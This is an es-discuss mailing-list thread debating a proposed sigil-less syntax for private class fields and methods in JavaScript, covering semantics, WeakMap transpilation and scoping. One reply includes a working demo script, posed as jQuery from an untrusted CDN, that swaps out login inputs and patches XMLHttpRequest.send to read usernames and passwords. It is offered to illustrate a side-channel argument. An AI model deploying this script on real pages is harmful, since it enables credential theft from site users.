EcmaScript Proposal – Private methods and fields proposals.

# Sultan (6 years ago)

[Strawman] Private methods and fields for JavaScript: github. com/thysultan/proposal-private-methods-and-fields


class A {
  private id = Symbol('unique')
  equal(instance, property) {
    return private(this)[property] == private(instance)[property]
  }
}

const x = new A()

x.equal(x, 'id')

# Isiah Meadows (6 years ago)

This is already being worked on:


Isiah Meadows me at isiahmeadows.com

Looking for web consulting? Or a new website? Send me an email and we can get started. www.isiahmeadows.com

# Sultan (6 years ago)

This is specifically an alternative to the current proposals around private methods/fields. Specifically motivated by some of the issues discussed in tc39/proposal-private-methods#28

# Waldemar Horwat (6 years ago)

I read that proposal but don't understand what the proposal actually is. At this point it's a bit of syntax with no semantics behind it. What does private(this)[property] do? How do private fields come into existence? How do you prevent them from being forged or stuck onto unrelated objects? What's private about private fields?

 Waldemar
# Sultan (6 years ago)

The proposal is an explainer with to an alternative sigil-less syntax to back private fields/methods.

What does private(this)[property] do?

"private(this)[property]" and alternatively "private[property]" or "private.property" all invoke access of a private "property" on the "this" instance of the class, symmetrical to the syntax/function nature of both the "super" and "import" keywords.

How do private fields come into existence?

Unless i've misunderstood what is meant by "come into existence" the proposals makes use of the reserved "private" keyword to define private fields i.e "private id = 1".

What's private about private fields?

Outside of a private fields provider class, private fields/methods would not be accessible.

How do you prevent them from being forged or stuck onto unrelated objects?

What do you mean by this?

# Michael Theriot (6 years ago)

This matches my initial perceptions of private properties in JS; exactly identical to regular properties but private, which I have not seen preserved in the other proposals.

# Waldemar Horwat (6 years ago)

On 04/13/2018 01:38 AM, Sultan wrote:

The proposal is an explainer with to an alternative sigil-less syntax to back private fields/methods.

What does private(this)[property] do?

"private(this)[property]" and alternatively "private[property]" or "private.property" all invoke access of a private "property" on the "this" instance of the class, symmetrical to thesyntax/function nature of both the "super" and"import" keywords.

How do private fields come into existence?

Unless i've misunderstood what is meant by "come into existence" the proposals makes use of the reserved "private" keyword to define private fields i.e "private id = 1".

I was asking about what creates those fields.

What's private about private fields?

Outside of a private fields provider class, private fields/methods would not be accessible.

How do you prevent them from being forged or stuck onto unrelated objects?

What do you mean by this?

Writing your private field to an object that's not an instance of your class.

class A { private id = ...; private foo = ...; write(value) { private(this)["id"] = value; private(this)["foo"] = ... my private secret that anyone outside the class must not learn ...; } }

and then invoking the above write method with a this value that's not an instance of A, such as a proxy.

 Waldemar
# Michael Theriot (6 years ago)

I'd imagine that would fail the same way proxies fail on typed arrays.

# Sultan (6 years ago)

Writing your private field to an object that's not an instance of your

class.

and then invoking the above write method with a this value that's not an

instance of A, such as a proxy.

Given:

class A { private id = 0; private method(value) { return value; } write(value) { private(this)["id"] = private"method"; } }

I imagine this means trying to do something along the lines of:

(new A()).write.call({}, 'pawned');

This would fail. The private syntax call site would be scoped to the provider class. For example imagine the current possible transpilation of this:

;(function (){ var registry = WeakMap();

function A () { registry.set(this, {id: 0}) } A.prototype.write: function () { registry.get(this)["id"] = registry.get(this.constructor)["method"].call(this, value); }

// shared(i.e private methods) registry.set(A, { method: function (value) { return value; } });

return A })();

Trying to do the the afore-mentioned forge here would currently fail along the lines of cannot read property "id" of "undefined".

# Isiah Meadows (6 years ago)

Just an item of note: private is a valid identifier name in sloppy mode, so your private(this) and private["foo"] syntax won't work without banning it from sloppy.

Isiah Meadows me at isiahmeadows.com

Looking for web consulting? Or a new website? Send me an email and we can get started. www.isiahmeadows.com

# T.J. Crowder (6 years ago)

Just an item of note: private is a valid identifier name in sloppy mode, so your private(this) and private["foo"] syntax won't work without banning it from sloppy.

class code is always strict1.

-- T.J. Crowder

# Isiah Meadows (6 years ago)

Oops...somehow, I forgot about that... :-)

Isiah Meadows me at isiahmeadows.com

Looking for web consulting? Or a new website? Send me an email and we can get started. www.isiahmeadows.com

# Waldemar Horwat (6 years ago)

On 04/13/2018 09:41 PM, Sultan wrote:

Writing your private field to an object that's not an instance of your class. and then invoking the above write method with a this value that's not an instance of A, such as a proxy.

Given:

class A {   private id = 0;   private method(value) {     return value;   }   write(value) {     private(this)["id"] = private"method";   } }

I imagine this means trying to do something along the lines of:

(new A()).write.call({}, 'pawned');

This would fail. The private syntax call site would be scoped to the provider class. For example imagine the current possible transpilation of this:

;(function (){   var registry = WeakMap();

function A () {     registry.set(this, {id: 0})   }   A.prototype.write: function () {     registry.get(this)["id"] = registry.get(this.constructor)["method"].call(this, value);   }

// shared(i.e private methods)   registry.set(A, {     method: function (value) {       return value;     }   });

return A })();

Trying to do the the afore-mentioned forge here would currently fail along the lines of cannot read property "id" of  "undefined".

OK, so that aspect of the proposal looks the same as the existing private proposals — an instance has a fixed set of private fields which get created at object creation time. There are tricky additional wrinkles when it comes to inheritance, but you can look them up in the existing proposals.

Are the only significant changes the different property naming syntax and that you provide a way to map strings to private slots? How do you deal with inner nested classes wanting to refer to outer classes' private fields?

 Waldemar
# Sultan (6 years ago)

An instance has a fixed set of private fields which get created at object

creation time.

The implications of this alternative does not necessarily limit the creation of private fields to creation time, for example writing to a private field in the constructor or at any arbitrary time within the lifecycle of the instance.

class HashTable { constructor() { private[Symbol.for('length')] = 0 } set(key, value) { private[key] = value } get(key) { return private[key] } }

How do you deal with inner nested classes wanting to refer to outer

classes' private fields?

Not sure i understood what you mean by this?

# kai zhu (6 years ago)

as a javascript web-developer, can someone educate me on how private class methods/fields would make one's life easier (rather than harder) in getting web-projects shipped?

/*
 * how is this cited example better than using a plain object in a web-project?
 * can someone give actual common problems in
 * debugging/integrating/shipping web-projects,
 * that private methods/fields could help simplify (rather than complicate)?
 */
class HashTable {
  constructor() {
    private[Symbol.for('length')] = 0
  }
  set(key, value) {
    private[key] = value
  }
  get(key) {
    return private[key]
  }
}
# Dan Peddle (6 years ago)

imagine you are shipping a module for use by others, and you don't want to expose internals to consumers. private methods and properties help to know that only the public API is in use, giving confidence in publishing updates or fixes.

another use case is knowing that naughty developers aren't reaching into your module and changing its behaviour.

I'm sure there's more, but those are the ones that come to mind.

# kai zhu (6 years ago)

can you give actual code-examples of real-world things in web-projects that are worth the effort and cost to proactively hide from web-developers? i suspect for most, just following python design-pattern of prefixing them with '_' or '$' is good enough.

also in a webpage-context, how confident are you that private methods/fields really are "private" and safe from naughty-developers? would you trust private fields/methods enough to allow untrusted code to run alongside your credit-card transaction webpage? for example, here's a live web-demo of a side-channel attack to indirectly modify/read private fields (via jquery from untrusted cdn) [1], with screenshots and full source-code here [2].

its not too difficult to craft these side-channel exploits when a naughty-developer has full-access to your frontend source-code. how many companies/organizations in the world do you think have the resources to audit/harden their frontend-code to ensure private methods/fields really are private and cannot be tinkered with through various side-channel exploits (hijacking dom-inputs, XMLHttpRequest, LocalStorage, IndexedDb, Array-accessors, dependent-subclasses-you-forgot-to-encapsulate, etc)?

[1] "live web-demo" kaizhu256.github.io/tc39-private-field-side-channel-attack-example

[2] "screenshot and full source-code of demo-exploit" tc39/proposal-class-fields#93

/*
 * jquery.from.untrusted.cdn.js
 *
 * this script will indirectly modify/read private-fields by hijacking
dom-inputs and XMLHttpRequest.
 * it is custom-crafted for a given webpage's freely available
frontend source-code
 *
 * live web-demo of it in action at:
 * https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
 */
/*jslint
    bitwise: true,
    browser: true,
    maxerr: 4,
    maxlen: 100,
    node: true,
    nomen: true,
    regexp: true,
    stupid: true
*/
(function () {
    'use strict';
    var XMLHttpRequestPrototypeSend, consoleLog;
    consoleLog = console.log;
    console.log = function () {
        document.querySelector('#textareaStdout').value +=
Array.from(arguments).join(' ') +
            '\n';
        consoleLog.apply(console, arguments);
    };
    // side-channel attack to modify private-fields in hijacked dom-inputs
    ['inputPassword', 'inputUsername'].forEach(function (element) {
    /*
     * this function will hide the original dom-inputs from the user,
     * and replace them with hijacked ones, that can arbitrarily modify data
     */
        var hijackElement;
        element = document.querySelector('#' + element);
        element.style.display = 'none';
        hijackElement = document.createElement('input');
        element.parentNode.insertBefore(hijackElement, element);
        hijackElement.id = element.id + '2';
        hijackElement.type = element.type;
        hijackElement.value = element.value;
        hijackElement.addEventListener('change', function () {
            // arbitrarily modify data and pass it back to original dom-inputs
            element.value = hijackElement.value + ' modified!';
        });
        element.value = element.value + ' modified!';
    });
    document.querySelector('#inputSubmit').addEventListener('click',
function () {
        console.log('hijacked dom-input to modify field
loginInstance.privateUsername=' +
            JSON.stringify(document.querySelector('#inputUsername').value));
        console.log('hijacked dom-input to modify field
loginInstance.privatePassword=' +
            JSON.stringify(document.querySelector('#inputPassword').value)
+ '\n');
    });
    // side-channel attack to read private-fields from hijacked XMLHttpRequest
    XMLHttpRequestPrototypeSend = XMLHttpRequest.prototype.send;
    XMLHttpRequest.prototype.send = function (data) {
    /*
     * this function will hijack XMLHttpRequest.prototype.send to
indirectly read private-fields
     */
        try {
            data = JSON.parse(data);
            console.log('hijacked XMLHttpRequest.prototype.send to
read field ' +
                'loginInstance.privateUsername=' +
JSON.stringify(data.username));
            console.log('hijacked XMLHttpRequest.prototype.send to
read field ' +
                'loginInstance.privatePassword=' +
JSON.stringify(data.password) + '\n');
        } catch (ignore) {
        }
        XMLHttpRequestPrototypeSend.apply(this, arguments);
    };
    console.log('loaded script <script
src="jquery.from.untrusted.cdn.js"></script>');
}());
# Michael Theriot (6 years ago)

There's no confidence anything you run on someone else's machine really is "private" in any language (especially with reflection). Nevertheless private members still exist and continue to be used.

# Waldemar Horwat (6 years ago)

On 04/16/2018 05:47 PM, Sultan wrote:

An instance has a fixed set of private fields which get created at object creation time.

The implications of this alternative does not necessarily limit the creation of private fields to creation time, for example writing to a private field in the constructor or at any arbitrary time within the lifecycle of the instance.

That would contradict your previous answer to the hijacking question.

How do you deal with inner nested classes wanting to refer to outer classes' private fields?

Not sure i understood what you mean by this?

Class B is lexically nested inside class A. You want to refer to one of A's privates from within B's body.

 Waldemar
# Sultan (6 years ago)

That would contradict your previous answer to the hijacking question.

Can you point out the contradiction? The private field is still being written to by the providing class.

Class B is lexically nested inside class A. You want to refer to one of

A's privates from within B's body.

Can you provide an example of what this looks like with the current public/private fields proposals?

# Waldemar Horwat (6 years ago)

On 04/17/2018 01:50 PM, Sultan wrote:

That would contradict your previous answer to the hijacking question.

Can you point out the contradiction? The private field is still being written to by the providing class.

In the transpilation you created the field using

registry.set(this, {id: 0})

in the constructor. If you then claim that any write to the field can also create it, then you get the hijacking behavior which you wrote doesn't happen.

Class B is lexically nested inside class A. You want to refer to one of A's privates from within B's body.

Can you provide an example of what this looks like with the current public/private fields proposals?

They just lexically scope the private names in their own separate namespace. #foo refers to the innermost enclosing class that has a private field called foo.

 Waldemar
# Sultan (6 years ago)

In the transpilation you created the field using "registry.set(this, {id:

0})"

in the constructor. If you then claim that any write to the field can

also create it, then you get the hijacking behavior which you wrote doesn't happen.

The difference between

class A { private id = 0 }

and

class A { constructor() { private.id = 0 } }

is the likened to the difference between

(function (){ var registry = WeakMap()

function A () { registry.set(this, {id: 0}) }

return A })()

and

(function () { var registry = WeakMap()

function A () { registry.set(this, {}) registry.get(this)["id"] = 0 }

return A })

I don't see how this permits the hijacking behavior previously mentioned, that is –

(new A()).write.call({}, 'pawned');

Would still fail in the same way for both of these variants.

They just lexically scope the private names in their own separate

namespace. #foo refers to the innermost enclosing class that has a private field called foo.

I'm not sure i understand, Does #foo refer to this.#foo? Can you post a fleshed out example of this?

# Isiah Meadows (6 years ago)

If you don't need them, don't use them. The use for them is three-fold:

  1. Not trusting people to avoid relying on API implementation details (think: Node.js _readableStream/_writableStream used so frequently out of core they've ran into issues updating it even in patch releases).
  2. In the face of inheritance, avoiding name collision. (This is a big one at scale, not so much in a 30k web app.)
  3. Giving engines the ability to better structure object allocation and property access. This is very useful for perf critical scenarios.

Finally, if you don't need them, don't use them. But keep in mind, there is a use case and a need.

# Isiah Meadows (6 years ago)

To expand in the first, there is some functionality they have had to expose in the public API because people kept reading properties on those two internal stream properties.

Similarly, jQuery has had in the past people relying so much on bugs that they had to turn some of them into features and document them in the source code. It was specifically because so many of these cases were propping up in the source code that they had to fork a new version (2.0) to fix all these bugs without breaking everyone. They also created jQuery Migrate just to help consumers migrate between patches, to notify people of certain bug fixes and minor changes that would otherwise break quite a few people's existing code bases.

Or, in summary, as a library author, if you expose it, even if you don't document it, or even if you specifically warn people to not rely on it, people will inevitably find ways to depend on it, making some forms of bug fixes or other improvements practically impossible. In fact, this similar concern is why Python introduced its name mangling convention for self.__foo private variables - people clashing and/or otherwise relying of private data. For what it's worth, soft private (accessible via reflection, like Java, Ruby, etc.) is sufficient if you don't support subclassing, but it's when you do, that's where you need hard privacy (like C++, etc.).

And don't forget: not all projects are particularly small, not all JS is simple glue code, and non-browser use cases aren't even obscure. (Slack for desktop is based on Electron, a platform combining Node and Chrome, and both PayPal's and Ebay's entire production backends use Node. Oh, and even NASA has picked it up for a few things on Earth, primarily for data processing at scale.) So if you're going to continue to blast and ignore it, please do your research first and realize they have unique needs themselves.

# Waldemar Horwat (6 years ago)

On 04/17/2018 02:26 PM, Sultan wrote:

In the transpilation you created the field using "registry.set(this, {id: 0})" in the constructor.  If you then claim that any write to the field can also create it, then you get the hijacking behavior which you wrote doesn't happen.

The difference between

class A {   private id = 0 }

and

class A {   constructor() { private.id, private.id = 0   } }

is the likened to the difference between

(function (){   var registry = WeakMap()

function A () {     registry.set(this, {id: 0})   }

return A })()

and

(function () {   var registry = WeakMap()

function A () {     registry.set(this, {})     registry.get(this)["id"] = 0   }

return A })

I don't see how this permits the hijacking behavior previously mentioned, that is –

(new A()).write.call({}, 'pawned');

Would still fail in the same way for both of these variants.

OK; you split creation into two phases. That's fine. Do you limit classes to creating only the private fields declared in the class, or can they create arbitrarily named ones?

They just lexically scope the private names in their own separate namespace.  #foo refers to the innermost enclosing class that has a private field called foo.

I'm not sure i understand, Does #foo refer to this.#foo? Can you post a fleshed out example of this?

The full form is expr.#foo, where expr can be this or some other expression appropriate in front of a dot. The #foo binds to the innermost enclosing class that has a private field called foo. If expr doesn't evaluate to an instance of that class, you fail and throw.

Read the proposals.

 Waldemar
# Sultan (6 years ago)

Do you limit classes to creating only the private fields declared in the

class, or can they create arbitrarily named ones?

Yes, just as you could write arbitrary named fields with the mentioned WeakMap approach, for example –

[...] private[key] = value [...] private(this)[key] = value [...] registry.get(this)[key] = value

and retrieve arbitrary fields

[...] private[key] [...] private(this)[key] [...] registry.get(this)[key]

The full form is expr.#foo, where expr can be this or some other

expression appropriate in front of a dot. The #foo binds to the innermost enclosing class that has a private field called foo. If expr doesn't evaluate to an instance of that class, you fail and throw.

Is this what you meant?

class A { #foo = 1 constructor() { let self = this

this.B = class B {
  constructor() {
    self.#foo = 2
  }
}

} get() { return this.#foo } run(program) { return eval(program) } }

let a = new A() let b = new instance.B()

Would this return 1 or 2 or would the previous statement throw?

console.log(a.get())

Additionally would this work

a.run('this.#foo = 3')


A similar symmetry can be remarked with to:

class A { private foo = 1 constructor() { const self = this

this.B = class B {
  constructor() {
    private(self)["foo"] = 2
  }
}

} get() { return private.foo } ... }

# kai zhu (6 years ago)

appreciate the detailed counter-response and insight. fyi, electron is a browser.

# Isiah Meadows (6 years ago)

Welcome. (And I know Electron has all the browser APIs. That was implied with the "combining Node and Chrome" part.)


Isiah Meadows me at isiahmeadows.com

Looking for web consulting? Or a new website? Send me an email and we can get started. www.isiahmeadows.com

# Waldemar Horwat (6 years ago)

On 04/17/2018 05:31 PM, Sultan wrote:

Do you limit classes to creating only the private fields declared in the class, or can they create arbitrarily named ones?

Yes, just as you could write arbitrary named fields with the mentioned WeakMap approach, for example –

[...] private[key] = value [...] private(this)[key] = value [...] registry.get(this)[key] = value

and retrieve arbitrary fields

[...]private[key] [...]private(this)[key] [...]registry.get(this)[key]

The full form is expr.#foo, where expr can be this or some other expression appropriate in front of a dot. The #foo binds to the innermost enclosing class that has a private field called foo. If expr doesn't evaluate to an instance of that class, you fail and throw.

Is this what you meant?

class A {   #foo = 1   constructor() {     let self = this

this.B = class B {       constructor() {         self.#foo = 2       }     }   }   get() {     return this.#foo   }   run(program) {     return eval(program)   } }

let a = new A() let b = new instance.B()

What's instance? I assume you meant new a.B().

Would this return 1 or 2 or would the previous statement throw?

console.log(a.get())

This would produce 2.

Additionally would this work

a.run('this.#foo = 3')

I have no idea. It depends on how the details of the scope rules for private would work.

 Waldemar